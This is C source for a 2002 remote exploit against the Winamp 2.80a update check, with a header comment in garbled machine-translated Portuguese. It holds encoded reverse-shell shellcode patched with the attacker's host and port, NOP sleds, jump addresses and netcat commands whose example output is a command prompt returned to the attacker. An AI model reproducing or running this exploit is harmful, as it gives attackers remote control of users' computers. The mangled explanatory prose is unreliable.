winamp tem uma opção, habilitada por default, que checa ao mais recente
versão de www.winamp.com e vai então notifica o usuário de uma possível
atualize via um messagebox..

infelizmente, se isto foi receber uma resposta enorme via algum nameserver
corrupção o contexto analisando gramaticalmente a resposta é jogada dentro um infinito
laço e futuramente o dispatcher de exceção é chamado.. e ENTÃO igual
maior do tempo sob o windows um ruim, grande, inundação ocorre..
ex: # (./wampexp 192.168.0.1 5555)|nc -l -p 80
# nc -l -p 5555
*envenenado o usuário abre winamp*
# nc -l -p 5555
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>

sincerely, 2c79cbe14ac7d0b8472d3f129fa1df55
([email protected])

yes, yahoo took away my 2! ;~~~
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
#include <unistd.h>

// a minimal HTTP header and fake version
unsigned char payload[35904] =
"\x4f\x4b\x0d\x0a\x0d\x0a\x39\x2e\x39\x39\x0d\x0a\x0d\x0a";

// a gruesome hack of dark spyrits jill.c shell that further alters the
// startupinfo structure (as this isn't a service) and calls ExitThread
// to keep things invisible..

unsigned char shell[] =
"\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\x16\x53\x84"
"\x6a\x73\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d\x95\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc3\x98\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\xc4\x2b\x02\x75\x66\xc7\x47\x4c\x01\x81\x50\x8d\x47\x20"
"\x50\x83\xee\x11\x05\x11\x11\x11\x01\x2d\x7a\x12\x11\x01\xff\xe0";

main(char argc, char **argv){
int i;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;

if (argc < 3){
printf("Winamp 2.80a remote exploit (7/3/2002)\n");
printf("[email protected]\n\n");
printf("usage: %s <localhost> <localport>\n\n", argv[0]);
printf("NOTE: target os is 2000.. probably works on all\n");
printf("winamp versions prior to 2.80a as there are no \n");
printf("dependancies on winamp, only the static ws2help\n\n");
exit(-1);
}

// blatantly ripped! *TEEHEEEHHEH*
a_port = htons(atoi(argv[2]));
a_port ^= 0x9595;
if ((ht = gethostbyname(argv[1])) == 0){herror(argv[1]);exit(-1);}
a_host = *((unsigned long *)ht->h_addr);
a_host ^= 0x95959595;
shell[385] = ((a_port) & 0xff);
shell[386] = ((a_port >> 8) & 0xff);
shell[390] = ((a_host) & 0xff);
shell[391] = ((a_host >> 8) & 0xff);
shell[392] = ((a_host >> 16) & 0xff);
shell[393] = ((a_host >> 24) & 0xff);

strcat(payload, shell);

// lots of NOPs
for(i=792;i<9704;i++)
strcat(payload, "\x90");

// nós aterrissamos aqui quando nós jmp ebx o segundo tempo
// este ebx de conjuntos ao começo de nossa concha, e costas do jmps
strcat(payload, "\x81\xc3\x11\x11\x11\x01\x81\xeb\x07\x37");
strcat(payload, "\x11\x01\xff\xe3");

// muitos mais NOPs para muitos mais divertimento
for(i=9718;i<35809;i++)
strcat(payload, "\x90");

// e bh, dl; jmp ebx.. isto permite nós ao jmp ajuda dentro uma área
// onde nós podemos colocar algum código real
strcat(payload, "\x22\xfa\xff\xe3");

// our "eip" (call ecx; ntdll.dll@0x11936)
// jmp ebx; ws2help.dll@0xdd6 (v5.0.2134.1, static on all service packs)
strcat(payload, "\xd6\x19\x02\x75");

// se ws2help não casa para alguma razão, usa este ebx de chamada..
// dependant no
winamp in_wm.dll plugin
//strcat(payload, "\x57\x22\x12\x01");

strcat(payload, "\x0d\x0a");

printf("%s", payload);
}